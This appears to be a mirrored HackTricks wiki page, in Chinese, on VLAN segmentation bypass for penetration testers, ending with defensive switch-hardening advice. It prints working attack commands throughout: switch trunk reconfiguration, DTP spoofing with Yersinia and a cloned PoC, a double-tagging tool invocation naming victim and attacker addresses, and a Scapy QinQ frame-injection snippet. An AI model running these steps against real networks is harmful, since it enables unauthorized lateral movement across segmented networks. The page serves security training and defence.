mirror of
https://github.com/HackTricks-wiki/hacktricks.git
synced 2025-10-10 18:36:50 +00:00
124 lines
5.6 KiB
Markdown
124 lines
5.6 KiB
Markdown
# Lateral VLAN Segmentation Bypass
|
||
|
||
{{#include ../../banners/hacktricks-training.md}}
|
||
|
||
如果可以直接访问交换机,则可以绕过VLAN分段。这涉及将连接端口重新配置为干道模式,为目标VLAN建立虚拟接口,并设置IP地址,具体取决于场景,可以是动态(DHCP)或静态的(**有关更多详细信息,请查看 [https://medium.com/@in9uz/cisco-nightmare-pentesting-cisco-networks-like-a-devil-f4032eb437b9](https://medium.com/@in9uz/cisco-nightmare-pentesting-cisco-networks-like-a-devil-f4032eb437b9))。**
|
||
|
||
最初,需要识别特定的连接端口。这通常可以通过CDP消息完成,或通过**include**掩码搜索端口。
|
||
|
||
**如果CDP无法操作,可以尝试通过搜索MAC地址进行端口识别**:
|
||
```
|
||
SW1(config)# show mac address-table | include 0050.0000.0500
|
||
```
|
||
在切换到 trunk 模式之前,应编制现有 VLAN 的列表,并确定它们的标识符。然后将这些标识符分配给接口,从而通过 trunk 访问各种 VLAN。例如,正在使用的端口与 VLAN 10 相关联。
|
||
```
|
||
SW1# show vlan brief
|
||
```
|
||
**切换到干线模式需要进入接口配置模式**:
|
||
```
|
||
SW1(config)# interface GigabitEthernet 0/2
|
||
SW1(config-if)# switchport trunk encapsulation dot1q
|
||
SW1(config-if)# switchport mode trunk
|
||
```
|
||
切换到 trunk 模式会暂时中断连接,但随后可以恢复。
|
||
|
||
然后创建虚拟接口,分配 VLAN ID,并激活:
|
||
```bash
|
||
sudo vconfig add eth0 10
|
||
sudo vconfig add eth0 20
|
||
sudo vconfig add eth0 50
|
||
sudo vconfig add eth0 60
|
||
sudo ifconfig eth0.10 up
|
||
sudo ifconfig eth0.20 up
|
||
sudo ifconfig eth0.50 up
|
||
sudo ifconfig eth0.60 up
|
||
```
|
||
随后,通过DHCP发出地址请求。或者,在DHCP不可行的情况下,可以手动配置地址:
|
||
```bash
|
||
sudo dhclient -v eth0.10
|
||
sudo dhclient -v eth0.20
|
||
sudo dhclient -v eth0.50
|
||
sudo dhclient -v eth0.60
|
||
```
|
||
在接口上手动设置静态IP地址的示例(VLAN 10):
|
||
```bash
|
||
sudo ifconfig eth0.10 10.10.10.66 netmask 255.255.255.0
|
||
```
|
||
连接性通过向VLAN 10、20、50和60的默认网关发起ICMP请求进行测试。
|
||
|
||
最终,这个过程使得绕过VLAN分段成为可能,从而促进对任何VLAN网络的无限制访问,并为后续操作奠定基础。
|
||
|
||
---
|
||
|
||
## 其他VLAN跳跃技术(无特权交换机CLI)
|
||
|
||
前一种方法假设已获得交换机的认证控制台或Telnet/SSH访问。在实际操作中,攻击者通常连接到一个**常规接入端口**。以下的第2层技巧通常允许您在不登录交换机操作系统的情况下横向移动:
|
||
|
||
### 1. 使用动态干道协议(DTP)进行交换机欺骗
|
||
|
||
保持DTP启用的Cisco交换机会乐于协商干道,如果对端声称是交换机。制作一个**DTP “desirable”**或**“trunk”**帧将接入端口转换为一个802.1Q干道,承载*所有*允许的VLAN。
|
||
|
||
*Yersinia*和几个PoC自动化了这个过程:
|
||
```bash
|
||
# Become a trunk using Yersinia (GUI)
|
||
$ sudo yersinia -G # Launch GUI → Launch attack → DTP → enabling trunking
|
||
|
||
# Python PoC (dtp-spoof)
|
||
$ git clone https://github.com/fleetcaptain/dtp-spoof.git
|
||
$ sudo python3 dtp-spoof/dtp-spoof.py -i eth0 --desirable
|
||
```
|
||
一旦端口切换到干道模式,您可以创建802.1Q子接口,并按照上一节所示进行转移。现代Linux内核不再需要*vconfig*;而是使用*ip link*:
|
||
```bash
|
||
sudo modprobe 8021q
|
||
sudo ip link add link eth0 name eth0.30 type vlan id 30
|
||
sudo ip addr add 10.10.30.66/24 dev eth0.30
|
||
sudo ip link set eth0.30 up
|
||
```
|
||
### 2. 双标记(原生 VLAN 滥用)
|
||
|
||
如果攻击者位于 **原生(未标记)VLAN**,则带有 *两个* 802.1Q 头的构造帧可以在端口被锁定为接入模式时“跳跃”到第二个 VLAN。 工具如 **VLANPWN DoubleTagging.py** (2022-2024 更新) 自动化了注入:
|
||
```bash
|
||
python3 DoubleTagging.py \
|
||
--interface eth0 \
|
||
--nativevlan 1 \
|
||
--targetvlan 20 \
|
||
--victim 10.10.20.24 \
|
||
--attacker 10.10.1.54
|
||
```
|
||
数据包逐步分析:
|
||
1. 外部标签 (1) 被第一个交换机剥离,因为它与本地 VLAN 匹配。
|
||
2. 内部标签 (20) 现在暴露;帧被转发到 VLAN 20 的干线。
|
||
|
||
该技术在 2025 年仍然有效,适用于将本地 VLAN 保持为默认并接受未标记帧的网络。
|
||
|
||
### 3. QinQ (802.1ad) 堆叠
|
||
|
||
许多企业核心支持 *Q-in-Q* 服务提供商封装。在允许的情况下,攻击者可以在提供商 (S-tag) 内隧道任意 802.1Q 标记的流量,以跨越安全区域。捕获 802.1ad 以太类型 0x88a8,并尝试使用 Scapy 弹出外部标签:
|
||
```python
|
||
from scapy.all import *
|
||
outer = 100 # Service tag
|
||
inner = 30 # Customer / target VLAN
|
||
payload = Ether(dst="ff:ff:ff:ff:ff:ff")/Dot1Q(vlan=inner)/IP(dst="10.10.30.1")/ICMP()
|
||
frame = Dot1Q(type=0x88a8, vlan=outer)/payload
|
||
sendp(frame, iface="eth0")
|
||
```
|
||
---
|
||
|
||
## 防御建议
|
||
|
||
1. 在所有面向用户的端口上禁用 DTP: `switchport mode access` + `switchport nonegotiate`。
|
||
2. 将每个干线的本地 VLAN 更改为 **未使用的黑洞 VLAN** 并标记: `vlan dot1q tag native`。
|
||
3. 在干线上修剪不必要的 VLAN: `switchport trunk allowed vlan 10,20`。
|
||
4. 强制实施端口安全、DHCP 嗅探和动态 ARP 检查,以限制恶意的第二层活动。
|
||
5. 优先使用私有 VLAN 或 L3 分段,而不是仅依赖 802.1Q 分离。
|
||
|
||
---
|
||
|
||
## 参考文献
|
||
|
||
- [https://medium.com/@in9uz/cisco-nightmare-pentesting-cisco-networks-like-a-devil-f4032eb437b9](https://medium.com/@in9uz/cisco-nightmare-pentesting-cisco-networks-like-a-devil-f4032eb437b9)
|
||
- VLANPWN 攻击工具包 – <https://github.com/casterbytethrowback/VLANPWN>
|
||
- Twingate "什么是 VLAN 跳跃?" (2024年8月) – <https://www.twingate.com/blog/glossary/vlan%20hopping>
|
||
|
||
{{#include ../../banners/hacktricks-training.md}}
|